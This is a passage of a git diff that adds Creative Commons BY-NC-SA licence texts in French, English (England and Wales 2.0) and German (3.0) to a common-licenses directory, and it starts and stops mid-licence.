+ e. Dans le cas où une utilisation de l'Oeuvre serait soumise à un régime légal de gestion collective obligatoire, l'Offrant se réserve le droit exclusif de collecter ces redevances par l'intermédiaire de la société de perception et de répartition des droits compétente. Sont notamment concernés la radiodiffusion et la communication dans un lieu public de phonogrammes publiés à des fins de commerce, certains cas de retransmission par câble et satellite, la copie privée d'Oeuvres fixées sur phonogrammes ou vidéogrammes, la reproduction par reprographie.
+
+5. Garantie et exonération de responsabilité
+
+
+ a. En mettant l'Oeuvre à la disposition du public selon les termes de ce Contrat, l'Offrant déclare de bonne foi qu'à sa connaissance et dans les limites d'une enquête raisonnable :
+
+ i. L'Offrant a obtenu tous les droits sur l'Oeuvre nécessaires pour pouvoir autoriser l'exercice des droits accordés par le présent Contrat, et permettre la jouissance paisible et l'exercice licite de ces droits, ceci sans que l'Acceptant n'ait aucune obligation de verser de rémunération ou tout autre paiement ou droits, dans la limite des mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e);
+
+ ii. L'Oeuvre n'est constitutive ni d'une violation des droits de tiers, notamment du droit de la propriété littéraire et artistique, du droit des marques, du droit de l'information, du droit civil ou de tout autre droit, ni de diffamation, de violation de la vie privée ou de tout autre préjudice délictuel à l'égard de toute tierce partie.
+
+ b. A l'exception des situations expressément mentionnées dans le présent Contrat ou dans un autre accord écrit, ou exigées par la loi applicable, l'Oeuvre est mise à disposition en l'état sans garantie d'aucune sorte, qu'elle soit expresse ou tacite, y compris à l'égard du contenu ou de l'exactitude de l'Oeuvre.
+
+6. Limitation de responsabilité. A l'exception des garanties d'ordre public imposées par la loi applicable et des réparations imposées par le régime de la responsabilité vis-à-vis d'un tiers en raison de la violation des garanties prévues par l'article 5 du présent contrat, l'Offrant ne sera en aucun cas tenu responsable vis-à-vis de l'Acceptant, sur la base d'aucune théorie légale ni en raison d'aucun préjudice direct, indirect, matériel ou moral, résultant de l'exécution du présent Contrat ou de l'utilisation de l'Oeuvre, y compris dans l'hypothèse où l'Offrant avait connaissance de la possible existence d'un tel préjudice.
+
+7. Résiliation
+
+ a. Tout manquement aux termes du contrat par l'Acceptant entraîne la résiliation automatique du Contrat et la fin des droits qui en découlent. Cependant, le contrat conserve ses effets envers les personnes physiques ou morales qui ont reçu de la part de l'Acceptant, en exécution du présent contrat, la mise à disposition d'Oeuvres dites Dérivées, ou d'Oeuvres dites Collectives, ceci tant qu'elles respectent pleinement leurs obligations. Les sections 1, 2, 5, 6 et 7 du contrat continuent à s'appliquer après la résiliation de celui-ci.
+
+ b. Dans les limites indiquées ci-dessus, le présent Contrat s'applique pendant toute la durée de protection de l'Oeuvre selon le droit applicable. Néanmoins, l'Offrant se réserve à tout moment le droit d'exploiter l'Oeuvre sous des conditions contractuelles différentes, ou d'en cesser la diffusion; cependant, le recours à cette option ne doit pas conduire à retirer les effets du présent Contrat (ou de tout contrat qui a été ou doit être accordé selon les termes de ce Contrat), et ce Contrat continuera à s'appliquer dans tous ses effets jusqu'à ce que sa résiliation intervienne dans les conditions décrites ci-dessus.
+
+8. Divers
+
+ a. A chaque reproduction ou communication au public par voie numérique de l'Oeuvre ou d'une Oeuvre dite Collective par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition de l'Oeuvre dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ b. A chaque reproduction ou communication au public par voie numérique d'une Oeuvre dite Dérivée par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition du bénéficiaire de l'Oeuvre originale dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ c. La nullité ou l'inapplicabilité d'une quelconque disposition de ce Contrat au regard de la loi applicable n'affecte pas celle des autres dispositions qui resteront pleinement valides et applicables. Sans action additionnelle par les parties à cet accord, lesdites dispositions devront être interprétées dans la mesure minimum nécessaire à leur validité et leur applicabilité.
+
+ d. Aucune limite, renonciation ou modification des termes ou dispositions du présent Contrat ne pourra être acceptée sans le consentement écrit et signé de la partie compétente.
+
+ e. Ce Contrat constitue le seul accord entre les parties à propos de l'Oeuvre mise ici à disposition. Il n'existe aucun élément annexe, accord supplémentaire ou mandat portant sur cette Oeuvre en dehors des éléments mentionnés ici. L'Offrant ne sera tenu par aucune disposition supplémentaire qui pourrait apparaître dans une quelconque communication en provenance de l'Acceptant. Ce Contrat ne peut être modifié sans l'accord mutuel écrit de l'Offrant et de l'Acceptant.
+
+ f. Le droit applicable est le droit français.
+
+Creative Commons n'est pas partie à ce Contrat et n'offre aucune forme de garantie relative à l'Oeuvre. Creative Commons décline toute responsabilité à l'égard de l'Acceptant ou de toute autre partie, quel que soit le fondement légal de cette responsabilité et quel que soit le préjudice subi, direct, indirect, matériel ou moral, qui surviendrait en rapport avec le présent Contrat. Cependant, si Creative Commons s'est expressément identifié comme Offrant pour mettre une Oeuvre à disposition selon les termes de ce Contrat, Creative Commons jouira de tous les droits et obligations d'un Offrant.
+
+A l'exception des fins limitées à informer le public que l'Oeuvre est mise à disposition sous CPCC, aucune des parties n'utilisera la marque « Creative Commons » ou toute autre indication ou logo afférent sans le consentement préalable écrit de Creative Commons. Toute utilisation autorisée devra être effectuée en conformité avec les lignes directrices de Creative Commons à jour au moment de l'utilisation, telles qu'elles sont disponibles sur son site Internet ou sur simple demande.
+
+Creative Commons peut être contacté à https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
new file mode 100644
index 0000000000..4025f2325f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
@@ -0,0 +1,149 @@
+Creative Commons Attribution - Non-Commercial - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Non-Commercial, Share-Alike.
+
+ f. "Non-Commercial" means "not primarily intended for or directed towards commercial advantage or private monetary compensation". The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be intended for or directed towards commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ g. "Original Author" means the individual (or entity) who created the Work.
+
+ h. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for Non-Commercial use and for the duration of copyright in the Work.
+
+You may:
+
+ • copy the Work;
+
+ • create one or more Derivative Works;
+
+ • incorporate the Work into one or more Collective Works;
+
+ • copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ • publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ • impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • sublicense the Work;
+
+ • subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ • make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ • recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ • to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • the Work; or
+
+ • any Derivative Work; or
+
+ • the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • a Derivative Work; or
+
+ • a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ • a licence on the same terms and conditions as the licence granted to You hereunder; or
+
+ • a later version of the licence granted to You hereunder; or
+
+ • any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+ Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+ Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+ Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
new file mode 100644
index 0000000000..b56385e0c7
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
@@ -0,0 +1,126 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Keine kommerzielle Nutzung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.f) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.d) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.d) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen;
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 US) oder
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts
+
+ verbreiten oder öffentlich zeigen ("Verwendbare Lizenz").
+
+ Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ d. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.d) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ e. Die oben unter 4.a) bis d) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ f. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
